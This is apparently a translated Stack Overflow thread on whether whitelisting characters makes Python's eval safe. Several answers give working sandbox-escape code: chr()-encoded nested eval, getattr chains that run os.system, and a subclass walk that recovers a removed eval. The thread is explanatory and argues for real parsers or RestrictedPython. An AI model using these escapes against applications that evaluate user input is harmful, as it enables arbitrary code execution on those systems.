【问题标题】:Is there a way to secure strings for Python's eval?有没有办法保护 Python eval 的字符串?
【发布时间】:2023-03-27 06:40:01
【问题描述】:

关于在不安全字符串上使用 Python 的 eval 有很多问题(例如:Security of Python's eval() on untrusted strings?Python: make eval safe)。一致的回答是,这是个坏主意。

但是,我发现关于哪些字符串可以被认为是安全的(如果有的话)的信息很少。 现在我想知道是否有可用的“安全字符串”定义(例如:仅包含小写 ascii 字符或任何符号 +-*/() 的字符串)。我发现的漏洞利用通常依赖于 _.,:[]'" 等。这种方法是否安全(用于图形绘制网络应用程序)?

否则,我想使用 Alex Martelli 建议的解析包是唯一的方法。

编辑: 不幸的是,对于为什么/如何认为上述字符串不安全(一个微小的工作漏洞),既没有答案给出令人信服的解释,也没有相反的解释。我知道应该避免使用 eval ,但这不是问题。因此,我将奖励第一个提出有效漏洞利用或非常好的解释为什么如上所述损坏的字符串被视为(不)安全的人。

【问题讨论】:

  • 你可以用 ASCII 字符和eval 做任何你想做的事情。只过滤那些不会有太大作用。
  • 我想知道使用 eval 是否是个好主意?也许最好有一个在幕后执行一些操作的用户界面,或者甚至有一个可以解析和处理的简单“语言”?有很好的解析库 - pyparsing.wikispaces.comacooke.org/lepl 可用于 Python?
  • @Waleed Khan:你能举个例子吗?
  • 我认为值得看看 Ned Batchelder 的 blog post
  • Mark Pilgrim 还给出了一个关于 eval (getpython3.com/diveintopython3/advanced-iterators.html#eval) 可以做什么的小提示,并得出结论...... """跟我说:"eval() 是邪恶的!""" " ;)

标签: python security eval


【解决方案1】:

在这里,您有一个有效的“利用”,您的限制到位 - 仅包含小写 ascii 字符或任何符号 +-*/() 。 它依赖于第二个评估层。

def mask_code( python_code ):
    s="+".join(["chr("+str(ord(i))+")" for i in python_code])
    return "eval("+s+")"

bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)

输出:

eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user

这是一个非常微不足道的“利用”。我敢肯定还有无数其他人,即使有更多的字符限制。 值得重复的是,应该始终使用解析器或 ast.literal_eval()。只有通过解析标记才能确保字符串可以安全评估。其他任何事情都在赌房子。

【讨论】:

  • 谢谢 - 这是一个很好的例子,说明使用 eval 可能遇到的麻烦!
  • 另见下文关于 RestrictedPython。使您的 AST 树评估安全也不是一件容易的事,而是可能的。
  • 可以限制内置访问以禁止递归评估层,但这只是沧海一粟……
【解决方案2】:

不,没有,或者至少没有一种明智的、真正安全的方式。 Python 是一种高度动态的语言,而另一方面,它很容易颠覆任何锁定该语言的尝试。

您需要为所需的子集编写自己的解析器,或者在遇到特定情况时使用现有的东西,例如ast.literal_eval()。使用专为手头工作设计的工具,而不是试图强迫现有工具完成您想要的工作,非常糟糕。

编辑:

两个字符串的示例,虽然符合您的描述,但如果 eval()ed 按顺序执行,将执行任意代码(此特定示例运行 evil.__method__()

"from binascii import *"
"eval(unhexlify('6576696c2e5f5f6d6574686f645f5f2829'))"

【讨论】:

  • 感谢您的回答。我知道 ast.literal_eval 因为它在引用问题的答案中。您能否提供任何示例来利用问题中提供的场景?在这种情况下,我很乐意接受您的回答。
  • @GeraldSenarclensdeGrancy 查看我的编辑,解决这样的限制非常简单。我敢肯定,更精通安全的人会发现更严重的问题。沙盒 Python 已经尝试过很多次了,这不是一件容易的事。
  • 对此+1。附带说明一下,如果您真的需要运行用户 python 代码,至少理论上可以使用 PyPy 沙箱安全地执行此操作(CPython 更难沙箱)。
  • 感谢您的示例。但是,它不符合我的描述,原因有两个: eval 本身不允许“from binascii import *”。它导致“SyntaxError:无效语法”。由于 _ 不在白名单中,因此通过 import 规避此问题是行不通的。第二个字符串也不起作用 ad ' 也不在白名单中。它会导致 eval(unhexlify(6576696c2e5f5f6d6574686f645f5f2829)) ,即使 unhexify 可用也会导致“SyntaxError: invalid syntax”。
  • @GeraldSenarclensdeGrancy 虽然我的例子可能行不通,但我不是这类事情的专家 - 如果我能做到这一点,只要付出一些时间和努力,我相信它会是很容易做到。您正在尝试做的是一个坏主意,因为您正在使用一个工具来完成它不是为它设计的任务 - 它太容易出错了。
【解决方案3】:

类似于 goncalopp 的漏洞利用,但也满足字符串 'eval' 不是漏洞利用的子字符串的限制:

def to_chrs(text):
    return '+'.join('chr(%d)' % ord(c) for c in text)

def _make_getattr_call(obj, attr):
    return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)

def make_exploit(code):
    get = to_chrs('get')
    builtins = to_chrs('__builtins__')
    eval = to_chrs('eval')
    code = to_chrs(code)
    return (_make_getattr_call(
                _make_getattr_call('globals()', '{get}') + '({builtins})',
                '{eval}') + '({code})').format(**locals())

它使用 genexp 和元组解包的组合来调用 getattr 并使用两个参数而不使用逗号。

示例用法:

>>> exploit =  make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0

这证明了仅对使代码安全的文本定义限制是非常困难的。即使像'eval' in code 这样的东西也不安全。要么您必须完全消除执行函数调用的可能性,要么您必须从 eval 的环境中删除 all 危险的内置函数。我的漏洞利用还表明getattreval 一样糟糕,即使您不能使用逗号,因为它允许您任意进入对象层次结构。比如即使环境不提供,你也可以获得真正的eval函数:

def real_eval():
    get_subclasses = _make_getattr_call(
                         _make_getattr_call(
                             _make_getattr_call('()',
                                 to_chrs('__class__')),
                             to_chrs('__base__')),
                         to_chrs('__subclasses__')) + '()'

    catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
                                                            _make_getattr_call('c',
                                                                to_chrs('__name__')),
                                                            to_chrs('catch_warnings'))

    return _make_getattr_call(
               _make_getattr_call(
                   _make_getattr_call(catch_warnings, to_chrs('_module')),
                   to_chrs('__builtins__')),
               to_chrs('get')) + '(%s)' % to_chrs('eval')


>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>

即使你删除了所有的内置插件,代码也会变得安全:

>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined

请注意,将'__builtins__' 设置为None 也会删除chrlisttuple 等。 您的字符限制 '__builtins__'None 的组合是完全安全的,因为用户无法访问任何内容。他不能使用.、方括号[] 或任何内置函数或类型。

尽管我必须这样说,你能评估的东西还是很有限的。除了对数字进行运算之外,您不能做更多的事情。

大概把eval,getattr,chr从内置函数中去掉就可以保证代码安全了,至少我想不出办法写一个不使用的exploit其中。

“解析”方法可能更安全并提供更大的灵活性。例如thisrecipe 非常好,并且可以轻松自定义以添加更多限制。

【讨论】:

  • 感谢您提供信息丰富的答案!正如你所说 - 它与 goncalopp 的基本相同,即使不依赖 eval。如果你能像 goncalopp 那样演示这个漏洞利用的应用,那就太好了,例如 s = make_exploit("__import__('os').getcwd()");评估
  • @GeraldSenarclensdeGrancy 我已经添加了它的用法示例。
  • 因为我真的很喜欢 goncalopp 的简单回答,所以我接受了它,这样其他只想快速了解可能的情况的人会更快地看到它;但是,您收到了赏金;再次感谢!
【解决方案4】:

为了研究如何进行安全评估,我建议使用 RestrictedPython 模块(超过 10 年的生产使用,一款优秀的 Python 软件)

http://pypi.python.org/pypi/RestrictedPython

RestrictedPython 获取 Python 源代码并修改其 AST(抽象语法树)以使评估在沙箱中安全,而不会泄露任何可能允许逃离沙箱的 Python 内部结构。

从 RestrictedPython 源代码中,您将了解需要执行哪些技巧才能使 Python 沙盒安全。

【讨论】:

  • 请注意,这个答案已经过时,目前还不存在适用于 Python 3.4 的 RestrictedPython。
  • 7 年内发生了很多事情 :)
【解决方案5】:

实际上,您可能应该避免使用 eval。

但如果你坚持下去,你可以确保你的字符串是字母数字的。那应该是安全的。

【讨论】:

  • 好吧,你不能只用字母数字字符串做很多事情。您只能表示数字和标识符...此时您可以使用 ast.literal_eval 做更多的事情。
【解决方案6】:

假设命名函数存在并且是安全的:

if re.match("^(?:safe|soft|cotton|ball|[()])+$", code): eval(code)

【讨论】:

    【解决方案7】:

    创建输入清理例程是不够的。您还必须确保不会意外遗漏消毒。一种方法是taint checking

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2020-12-10
      • 2015-01-27
      • 2011-09-05
      • 1970-01-01
      • 2020-04-02
      • 1970-01-01
      • 1970-01-01
      • 2021-10-04
      相关资源
      最近更新 更多